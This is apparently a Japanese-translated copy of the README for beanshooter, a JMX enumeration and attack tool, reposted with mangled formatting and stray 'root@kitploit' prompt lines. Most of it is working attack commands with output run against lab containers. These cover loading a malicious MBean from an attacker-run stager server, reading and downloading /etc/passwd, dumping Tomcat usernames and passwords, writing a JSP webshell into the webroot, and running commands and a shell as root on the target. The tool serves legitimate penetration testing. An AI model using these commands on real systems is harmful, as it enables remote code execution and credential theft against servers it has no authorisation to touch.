deployアクションは、基本操作のdeployアクションと基本的に同じように動作します。 ただし、クラス名、ObjectName、および実装jarファイルはすべて指定されたMBeanと既に関連付けられているため、このアクションでは--stager-urlオプションのみを指定する必要があります(組み込みのjarファイルが利用可能であると仮定します)。```console [qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8000 [+] Starting MBean deployment. [+] [+] Deplyoing MBean: TonkaBean [+] [+] MBean class is not known to the server. [+] Loading MBean from http://172.17.0.1:8000 [+] [+] Creating HTTP server on: 172.17.0.1:8000 [+] Creating MLetHandler for endpoint: / [+] Creating JarHandler for endpoint: /440441bf8c794d40a83caf1e34cd9993 [+] Starting HTTP server... [+] [+] Incoming request from: iinsecure.example [+] Requested resource: / [+] Sending mlet: [+] [+] Class: de.qtc.beanshooter.tonkabean.TonkaBean [+] Archive: 440441bf8c794d40a83caf1e34cd9993 [+] Object: MLetTonkaBean:name=TonkaBean,id=1 [+] Codebase: http://172.17.0.1:8000 [+] [+] Incoming request from: iinsecure.example [+] Requested resource: /440441bf8c794d40a83caf1e34cd9993 [+] Sending jar file with md5sum: 55a843002e13f763137d115ce4caf705 [+] [+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed

root@kitploit:~
*beanshooter v4.1.0* 以降、[standard](#standard) アクションを介して *TonkaBean* をデプロイすることも可能です。
`standard` アクションによる Bean のデプロイは、ターゲットサーバーからのアウトバウンドネットワーク接続を**必要としません**。

#### 汎用エクスポート

*beanshooters* のステージャーサーバーを使用して *MBean* 実装を提供できない場合があります。よくあるシナリオとして、ローカルマシンへのアウトバウンド接続がブロックされている場合が挙げられます。このような状況では、内部ネットワーク内の書き込みアクセス権がある *SMB* サービスなど、別の場所から *MBean* をロードしたい場合があります。

`export` アクションは、指定された *MBean* を実装する *jar* ファイルと、*MLet* を使用して *MBean* をロードするために必要な対応する *MLet HTML* ドキュメントをエクスポートします。*TonkaBean* を `10.10.10.5` で待ち受けている *SMB* サービスから提供したい場合、以下のコマンドを使用できます:```console
[qtc@devbox ~]$ beanshooter tonka export --export-dir export --stager-url file:////10.10.10.5/share/
[+] Exporting MBean jar file: export/tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: export/index.html
[+] 	Class:     de.qtc.beanshooter.tonkabean.TonkaBean
[+] 	Archive:   tonka-bean-3.0.0-jar-with-dependencies.jar
[+] 	Object:    MLetTonkaBean:name=TonkaBean,id=1
[+] 	Codebase:  file:////10.10.10.5/share/

その後、エクスポートされたjarとindex.htmlファイルをSMBサービスにアップロードし、beanshooters デプロイアクションを--stager-url file:////10.10.10.5/share/index.htmlオプションで使用できます。

一般的な情報

infoアクションは、指定されたMBeanのメソッドおよび属性情報をリスト表示します:```console [qtc@devbox ~]$ beanshooter tomcat info 172.17.0.2 1090 [+] MBean Class: org.apache.catalina.mbeans.MemoryUserDatabaseMBean [+] ObjectName: Users:type=UserDatabase,database=UserDatabase [+] [+] Attributes: [+] modelerType (type: java.lang.String , writable: false) [+] readonly (type: boolean , writable: false) [+] roles (type: [Ljava.lang.String; , writable: false) [+] groups (type: [Ljava.lang.String; , writable: false) [+] users (type: [Ljava.lang.String; , writable: false) [+] pathname (type: java.lang.String , writable: true) [+] writable (type: null , writable: false) [+] [+] Operations: [+] java.lang.String findGroup(java.lang.String groupname) [+] java.lang.String createUser(java.lang.String username, java.lang.String password, java.lang.String fullName) [+] void removeGroup(java.lang.String groupname) [+] void removeUser(java.lang.String username) [+] void save() [+] java.lang.String findRole(java.lang.String rolename) [+] void removeRole(java.lang.String rolename) [+] java.lang.String createGroup(java.lang.String groupname, java.lang.String description) [+] java.lang.String findUser(java.lang.String username) [+] java.lang.String createRole(java.lang.String rolename, java.lang.String description)

root@kitploit:~
#### 汎用 Invoke

`invoke` アクションは、指定された *MBean* 上の任意のメソッドを呼び出すために使用できます。```console
[qtc@devbox ~]$ beanshooter tomcat invoke 172.17.0.2 1090 --signature 'findUser(String username)' admin
Users:type=User,username="admin",database=UserDatabase

汎用統計

stats アクションは、指定された MBean に関する一般的な情報を一覧表示します。これは、beanshooters が対応する MBean に対してローカルに保存する情報であり、サーバーとの対話は必要ありません。```console [qtc@devbox ~]$ beanshooter tonka stats [+] MBean: tonka [+] Object Name: MLetTonkaBean:name=TonkaBean,id=1 [+] Class Name: de.qtc.beanshooter.tonkabean.TonkaBean [+] Jar File: available (tonka-bean-3.0.0-jar-with-dependencies.jar)

root@kitploit:~
The `Jar File` 情報は、対応する *MBean* の実装が *beanshooter* に組み込まれているかどうかを示します。この jar ファイルは、`--jar-file` オプションで上書きされない限り、デプロイ時に使用されます。現在のところ、*TonkaBean* は *Jar File* が利用可能な唯一の *MBean* です。

#### Generic Status

`status` アクションは、対応する *MBean* が *JMX* サービス上ですでに利用可能かどうかをチェックします。```console
[qtc@devbox ~]$ beanshooter tonka status 172.17.0.2 9010
[+] MBean Status: not deployed

一般的なアンデプロイ

アンデプロイアクションは、指定された MBean をリモートの JMX サービスから削除します:```console [qtc@devbox ~]$ beanshooter tonka undeploy 172.17.0.2 9010 [+] Removing MBean with ObjectName MLetTonkaBean:name=TonkaBean,id=1 from the MBeanServer. [+] MBean was successfully removed.

root@kitploit:~
### 診断機能

---

*DiagnosticCommandMBean*は、便利な*MBean*であり、*JMXサーバー*にデフォルトで展開されていることがよくあります。
攻撃的な観点から興味深い、いくつかの異なるメソッドを実装しています。その一部は
*beanshooter*の操作として実装されています。その他はもちろん手動で呼び出すことができます。

#### 診断読み取り

`read`操作は、*MBean*サーバー上のテキストファイルを読み取るために使用できます。この操作は、
`addCompilerDirective`メソッドを使用して、指定されたテキストファイルの内容を含む例外を発生させます。```console
[qtc@devbox ~]$ beanshooter diagnostic read 172.17.0.2 1090 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

この手法は、@TheLaluka によって、 jolokia-exploitation-toolkit 内で最初に実装されました。

診断ロード

load 操作は、JMXサーバーのファイルシステムから共有ライブラリをロードするために使用できます:```console [qtc@devbox ~]$ beanshooter diagnostic load 172.17.0.2 1090 /lib/x86_64-linux-gnu/libc.so.6 [+] The server complained about the missing function Agent_OnAttach [+] The specified library was loaded succesfully.

root@kitploit:~
#### 診断ログファイル

`logfile`アクションを使用して、*JVM*のログファイルの場所を変更できます。```console
[qtc@devbox ~]$ beanshooter diagnostic logfile 172.17.0.2 1090 /tmp/test.log
[+] Logfile path was successfully set to /tmp/test.log

診断 Nolog

nologアクションはロギングを無効にするために使用できます(ログファイルハンドルを閉じるのに便利です):```console [qtc@devbox ~]$ beanshooter diagnostic nolog 172.17.0.2 1090 [+] Logging was disabled successfully.

root@kitploit:~
#### 診断 Cmdline

`cmdline`アクションは、*JVM*が起動されたときのcmdlineを表示します:```console
[qtc@devbox ~]$ beanshooter diagnostic cmdline 172.17.0.2 1090
VM Arguments:
jvm_args: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp -Djava.rmi.server.hostname=iinsecure.example -Djavax.net.ssl.keyStorePassword=password -Djavax.net.ssl.keyStore=/opt/store.p12 -Djavax.net.ssl.keyStoreType=pkcs12 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.local.only=false -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.port=1090 -Dcom.sun.management.jmxremote.rmi.port=1099
java_command: org.apache.catalina.startup.Bootstrap start
java_class_path (initial): /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
Launcher Type: SUN_STANDARD

診断プロパティ

props アクションはシステムプロパティのリストを出力します:```console [qtc@devbox ~]$ beanshooter diagnostic props 172.17.0.2 1090 #Mon Jul 25 19:17:52 UTC 2022 com.sun.management.jmxremote.rmi.port=1099 awt.toolkit=sun.awt.X11.XToolkit java.specification.version=11 sun.cpu.isalist= ...

root@kitploit:~
### HotSpot

---

*HotSpotDiagnosticMXBean* は、*HotSpot Virtual Machine* を管理するためのインターフェースを提供し、
攻撃的な観点から有用なメソッドをいくつかサポートしています。

#### HotSpot dump

`dump` アクションはヒープダンプを作成し、アプリケーションサーバー上の任意の場所に保存します。
唯一の要件は、ダンプが `.hprof` 拡張子を持つファイルとして保存されることです:```console
[qtc@devbox ~]$ beanshooter hotspot dump 172.17.0.2 1090 /tmp/dump.hprof
[+] Heapdump file /tmp/dump.hprof was created successfully.

HotSpot リスト

list アクションは、利用可能な 診断オプション とそれに関連する値のリストを表示します。```console [qtc@devbox ~]$ beanshooter hotspot list 172.17.0.2 1090 [+] HeapDumpBeforeFullGC (value = false, writable = true) [+] HeapDumpAfterFullGC (value = false, writable = true) [+] HeapDumpOnOutOfMemoryError (value = false, writable = true) [+] HeapDumpPath (value = , writable = true) ...

root@kitploit:~
#### HotSpot get

`get` アクションを使用すると、指定したオプションの値を取得できます:```console
[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC
[+] Name: HeapDumpBeforeFullGC
[+] Value: false
[+] Writable: true

HotSpot set

setアクションは、指定されたオプションの値を設定することを可能にします:```console [qtc@devbox ~]$ beanshooter hotspot set 172.17.0.2 1090 HeapDumpBeforeFullGC true [+] Option was set successfully. [qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC [+] Name: HeapDumpBeforeFullGC [+] Value: true [+] Writable: true

root@kitploit:~
### MLet

---

*MLetMBean* は、ネットワーク経由で追加の *MBean* をロードするために使用できる、よく知られた *MBean* です。これは *beanshooters* の `deploy` アクションによって暗黙的に使用されていますが、`mlet` 操作を使用して手動で呼び出すこともできます。

#### MLet Load

現在唯一実装されている *MLet* メソッドは、ユーザーが指定した *URL* から *MBean* クラスをロードするために使用できる `load` 操作です:```console
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 tonka http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] 	Deplyoing MBean: MLet
[+] 	MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] 	Creating HTTP server on: 172.17.0.1:8000
[+] 		Creating MLetHandler for endpoint: /
[+] 		Creating JarHandler for endpoint: /3584de270132420aaf0812366bc46035
[+] 		Starting HTTP server... 
[+] 		
[+] 	Incoming request from: iinsecure.example
[+] 	Requested resource: /
[+] 	Sending mlet:
[+]
[+] 		Class:     de.qtc.beanshooter.tonkabean.TonkaBean
[+] 		Archive:   3584de270132420aaf0812366bc46035
[+] 		Object:    MLetTonkaBean:name=TonkaBean,id=1
[+] 		Codebase:  http://172.17.0.1:8000
[+]
[+] 	Incoming request from: iinsecure.example
[+] 	Requested resource: /3584de270132420aaf0812366bc46035
[+] 	Sending jar file with md5sum: b2f7040f7d8f2d1f40b205d631ff7356
[+]
[+] MBean was loaded successfully.

上記の例は、TonkaBean を mlet 操作を使って手動でロードする方法を示しています。代わりにカスタム MBean をロードしたい場合は、キーワード custom を tonka の代わりに指定し、--class-name、--object-name、--jar-file オプションを指定する必要があります:```console [qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 custom http://172.17.0.1:8000 --class-name de.qtc.beanshooter.ExampleBean --object-name ExampleBean:name=ExampleBean,id=1 --jar-file www/example.jar [+] Starting MBean deployment. [+] ... [+] MBean was loaded successfully.

root@kitploit:~
### Recoder

---

*FlightRecorderMXBean* は、*Flight Recorder* を管理するためのインターフェースを提供し、攻撃的な観点から興味深いメソッドをいくつかサポートしています。

#### Recoder new

`new` 操作は、新しい記録を開始します。返された記録 ID は、他の操作のターゲットとして使用できます。```console
[qtc@devbox ~]$ beanshooter recorder new 172.17.0.2 1090
[+] Requesting new recording on the MBeanServer.
[+] New recording created successfully with ID: 1

Recoder start

start アクションは既存のレコーディングを開始し、追加の引数としてレコーディング ID を期待します:```console [qtc@devbox ~]$ beanshooter recorder start 172.17.0.2 1090 1 [+] Recording with ID 1 started successfully.

root@kitploit:~
#### Recoder dump

レコーディングがアクティブな間、その内容は `dump` アクションを使用してダンプできます。これにより、レコーディング情報が *JMX サーバー* 上のダンプファイルに保存されます。```console
[qtc@devbox ~]$ beanshooter recorder dump 172.17.0.2 1090 1 /tmp/dump.dat
[+] Recording with ID 1 was successfully dumped to /tmp/dump.dat

レコーダーの停止

stop アクションを使用して録音を停止できます:```console [qtc@devbox ~]$ beanshooter recorder stop 172.17.0.2 1090 1 [+] Recording with ID 1 stopped successfully.

root@kitploit:~
#### レコーダーの保存

記録が停止された後、`save`アクションを使用して保存できます。`dump`アクションとは対照的に、
これにより、アプリケーションサーバーではなくローカルマシンに記録が保存されます。```console
[qtc@devbox ~]$ beanshooter recorder save 172.17.0.2 1090 1 recording.dat
[+] Saving recording with ID: 1
[+] Writing recording data to: /home/qtc/recording.dat

Tomcat


tomcat 操作は、Apache Tomcat の MemoryUserDatabaseMBean と対話します。この MBean は、Tomcat サービス上で利用可能なユーザー アカウントへのアクセスを提供します。

Tomcat ダンプ

dump アクションは、Tomcat サーバー上で利用可能なユーザー名とパスワードをローカルファイルにダンプします。 1つの引数で呼び出された場合、資格情報は <username>:<password> 形式でダンプされます:```console [qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 creds.txt [+] Dumping credentials... [+] Users dumped to /home/qtc/creds.txt [qtc@devbox ~]$ cat creds.txt manager:P@55w0rD# admin:s3cr3T!$ status:[email protected]

root@kitploit:~
2つの引数で呼び出された場合、ユーザー名は最初に指定された場所に保存され、パスワードは2番目の場所に保存されます。```console
[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 users.txt passwords.txt
[+] Dumping credentials...
[+] Users dumped to /home/qtc/users.txt
[+] Passwords dumped to /home/qtc/passwords.txt

Tomcat List

list 操作は、利用可能なユーザーアカウント、それに関連するロールおよび資格情報を一覧表示します。```console [qtc@devbox ~]$ beanshooter tomcat list 172.17.0.2 1090 [+] Listing tomcat users: [+] [+] ---------------------------------------- [+] Username: manager [+] Password: P@55w0rD# [+] Roles: [+] Users:type=Role,rolename="manager-gui",database=UserDatabase [+] Users:type=Role,rolename="manager-script",database=UserDatabase [+] Users:type=Role,rolename="manager-jmx",database=UserDatabase [+] Users:type=Role,rolename="manager-status",database=UserDatabase [+] [+] ---------------------------------------- [+] Username: admin [+] Password: s3cr3T!$ [+] Roles: [+] Users:type=Role,rolename="admin-gui",database=UserDatabase [+] Users:type=Role,rolename="admin-script",database=UserDatabase [+] [+] ---------------------------------------- [+] Username: status [+] Password: [email protected] [+] Roles: [+] Users:type=Role,rolename="manager-status",database=UserDatabase

root@kitploit:~
#### Tomcat Write

`write`操作は、部分的に制御されたファイルをアプリケーションサーバーの任意の場所に書き込みます。このアクションは、*Tomcat*サービスにウェブシェルを確実にデプロイするために使用できます:```console
[qtc@devbox ~]$ beanshooter tomcat write 172.17.0.2 1090 /opt/webshell-cli/webshells/webshell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Writing local file /opt/webshell-cli/webshells/webshell.jsp to server location /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] 	Current user database is at conf/tomcat-users.xml
[+] 	Current user database is readonly
[+] 	Adjusting readonly property to make it writable.
[+] 	Changing database path to /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] 	Creating new role containing the local file content.
[+] 	Saving modified user database.
[+] 	Restoring readonly property.
[+] 	Restoring pathname property.
[+] All done.
[qtc@devbox ~]$ webshell-cli http://172.17.0.2:8080/shell.jsp
[root@d475fdb21692 /usr/local/tomcat]$ id
uid=0(root) gid=0(root) groups=0(root)

write アクションは、Apache Tomcat の UserDatabase MBean 内のエンコーディングのバグを悪用します。このバグを報告しましたが、セキュリティ脆弱性とは見なされませんでした。任意の場所に書き込むために、beanshooter は UserDatabase の場所を変更する必要があります。目的のファイルが書き込まれた後、すべての変更は復元されますが、それでも本番環境では注意が必要です。

Tonka


TonkaBeanは、beanshooterプロジェクトによって実装されたカスタムMBeanであり、JMXサーバー上でのファイルシステムアクセスとコマンド実行を可能にします。そのアクションには、tonka操作の後に目的のアクションを指定してアクセスできます。

Tonka Exec

execアクションを使用して、JMXサービス上で単一のコマンドを呼び出すことができます。```console [qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 id [+] Invoking the executeCommand method with argument: id [+] The call was successful [+] [+] Server response: uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
exec 操作の最後の引数は文字列であることが期待されます。`--shell` オプションが使用されていない場合、
この文字列はスペースで分割され(引用符を認識)、サーバー側の `ProcessBuilder` クラスに配列として渡されます。

`--shell` が使用された場合、指定されたシェル文字列はスペースで分割され、結果の配列は
指定された引数文字列と結合されてから `ProcessBuilder` クラスに渡されます。これにより、
シェル特殊文字が正しく解釈されたシェル的な実行が可能になります。```console
[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 --shell 'ash -c' 'echo $HOSTNAME'
[+] Invoking the executeCommand method with argument: ash -c echo $HOSTNAME
[+] The call was successful
[+]
[+] Server response:
fee2d783023b

便宜上、一般的なシェルには自動的に必要なコマンド文字列引数が付加されます。 したがって、--shell ash は自動的に --shell 'ash -c' に変換されます。

Tonka Execarray

execarray 操作は exec アクションと非常によく似ていますが、引数として文字列を受け取り、 その文字列をスペースで分割してコマンド配列を構築する代わりに、execarray 操作では複数の 引数を指定でき、それらが ProcessBuilder クラスのコマンド配列として直接使用されます。```console [qtc@devbox ~]$ beanshooter tonka execarray 172.17.0.2 9010 -- ash -c 'echo $HOME' [+] Invoking the executeCommand method with argument: ash -c echo $HOME [+] The call was successful [+] [+] Server response: /root

root@kitploit:~
#### Tonka Shell

`shell` アクションは、*JMX* サーバー上で実行するコマンドを指定できるコマンドシェルを起動します。このシェルは完全な対話型ではなく、*Java* の `Runtime.exec` メソッドをラップしたものに過ぎません。ただし、環境変数とカレントワーキングディレクトリに対する基本的なサポートが実装されています。```console
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)
[[email protected] /]$ cd /home
[[email protected] /home]$ !env test=example
[[email protected] /home]$ echo $test
example

上記の例は、!env キーワードを使用して環境変数を設定する方法を示しています。このキーワードの他にも、いくつかのキーワードが利用可能です。```console [qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010 [[email protected] /]$ !help Available shell commands: execute the specified command cd

change working directory on the server exit|quit exit the shell !help|!h print this help menu !environ|!env = set new environment variables in key=value format !upload|!put upload a file to the remote MBeanServer !download|!get download a file from the remote MBeanServer !background|!back executes the specified command in the background

root@kitploit:~
#### Tonka アップロード

`upload` アクションは、*JMX* サーバーにファイルをアップロードするために使用できます:```console
[qtc@devbox ~]$ beanshooter tonka upload 172.17.0.2 9010 file.dat /tmp
[+] Uploading local file /home/qtc/file.dat to path /tmp on the MBeanSerer.
[+] 33 bytes were written to /tmp/file.dat

Tonka ダウンロード

download アクションを使用して、JMX サーバーからファイルをダウンロードできます。```console [qtc@devbox ~]$ beanshooter tonka download 172.17.0.2 9010 /etc/passwd [+] Saving remote file /etc/passwd to local path /home/qtc/passwd [+] 1172 bytes were written to /home/qtc/passwd

root@kitploit:~
### JMXMP

---

*JMX* サービスは異なるコネクタタイプを使用できます。最も一般的に使用されるコネクタは *Java RMI* であり、*Java RMI* プロトコルに基づいて *JMX* へのアクセスを提供します。もう一つの一般的なコネクタは *JMX Message Protocol* (*JMXMP*) であり、これは時代遅れであるにもかかわらず、依然として頻繁に遭遇します。*beanshooter* は組み込みの *JMXMP* サポートを備えており、`--jmxmp` オプションを使用する際に *JMXMP* 経由での接続を試みます:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4444 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] 	- Remote JMXMP server does not use SASL.
[+] 	  Login is possible without specifying credentials.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] 	- JMXMP serial check is work in progress but endpoints are usually vulnerable.
[+] 	  Configuration Status: Undecided
[+]
[+] Checking available MBeans:
[+]
[+] 	- 22 MBeans are currently registred on the MBean server.
[+] 	  Found 0 non default MBeans.

認証された JMXMP エンドポイントは通常 SASL を使用して保護されます。SASL が有効な場合、JMX エンドポイントは通常、クライアントが特定の SASL プロファイルを使用して接続することを要求します。beanshooter で利用可能なプロファイルは次のとおりです:

  • plain
  • digest
  • cram
  • ntlm
  • gssapi

それぞれは、--ssl オプションを使用してオプションで TLS と組み合わせることができます。SASL で保護された JMXMP エンドポイントで enum アクションを使用すると、beanshooter は必要な SASL プロファイルの列挙を試みます。必要な SASL メカニズムの特定は通常可能ですが、必要な TLS 設定は列挙できません:```console [qtc@devbox ~]$ beanshooter enum 172.17.0.2 4449 --jmxmp [+] Checking servers SASL configuration: [+] [+] - Remote JMXMP server uses SASL/NTLM SASL profile. [+] Notice: TLS setting cannot be enumerated and --ssl may be required. [+] Vulnerability Status: Non Vulnerable [+] [+] Checking pre-auth deserialization behavior: [+] [+] - JMXMP serial check is work in progress but endpoints are usually vulnerable. [+] Configuration Status: Undecided

root@kitploit:~
### Jolokia サポート

---

*v4.0.0* から、*beanshooter* は [Jolokia](https://github.com/rhuss/jolokia) ベースの JMX エンドポイントをサポートしています。
*Jolokia* ベースのエンドポイントへの接続を確立するには、通常のターゲット形式と `--jolokia` フラグが必要です:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 8080 --jolokia --username manager --password admin
[+] Checking specified credentials:
[+]
[+] 	- Login successful! The specified credentials are correct.
[+] 	  Username: manager  - Password: admin
[+]
[+] Checking Jolokia Version:
[+]
[+] 	- Agent Version 1.7.1 - Protocol Version: 7.2
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] Checking whether Jolokia Proxy Mode is enabled:
[+]
[+] 	- Jolokia Proxy Mode is enabled! You may connect to backend JMX services.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] 	- 75 MBeans are currently registred on the MBean server.
[+] 	  Listing 56 non default MBeans:
...

Jolokia の機能セットが限られているため、すべての beanshooter 操作がサポートされているわけではありません。ご質問がある場合は、Jolokia FAQ をご参照ください。Jolokia で試してみるために、beanshooter は サンプルサーバー を提供しており、ポート 8080 で Jolokia エンドポイントを公開しています。また、通常の RMI ベースの JMX エンドポイントがポート 1090 にあります。

Docker イメージ


バージョン v3.1.1 以降、beanshooter は Docker イメージとしても利用可能で、GitHub Container Registry からプルできます。各リリースには、normal 版と slim 版があります。どちらも完全に動作する beanshooter を提供しますが、normal 版のみ ysoserial が同梱されているため、イメージサイズが大きくなります。

  • docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0 - 124MB
  • docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0-slim - 64.8MB

以下のコマンドを実行して、自分でコンテナをビルドすることもできます。```console [user@host ~]$ git clone https://github.com/qtc-de/beanshooter [user@host ~]$ cd beanshooter && docker build -t beanshooter .

root@kitploit:~
### サンプルサーバー

---

![](https://github.com/qtc-de/beanshooter/workflows/example%20server%20-%20master/badge.svg?branch=master)
![](https://github.com/qtc-de/beanshooter/workflows/example%20server%20-%20develop/badge.svg?branch=develop)

上記で紹介したサンプルのほとんどは、[jmx-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Fjmx-example-server) および [tomcat-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Ftomcat-example-server) に基づいています。これらのサーバーは、このリポジトリ内の [docker](https://github.com/qtc-de/beanshooter/blob/HEAD/docker) フォルダに含まれており、*JMX* の列挙を練習するために使用できます。対応するコンテナを自分でビルドするか、*GitHub Container Registry* から直接ロードすることができます。

Copyright 2023, Tobias Neitzel および *beanshooter* コントリビューター。
ツールをダウンロード
  • exec
  • execarray
  • shell
  • upload
  • download
  • JMXMP
  • Jolokiaサポート
  • Dockerイメージ
  • サンプルサーバー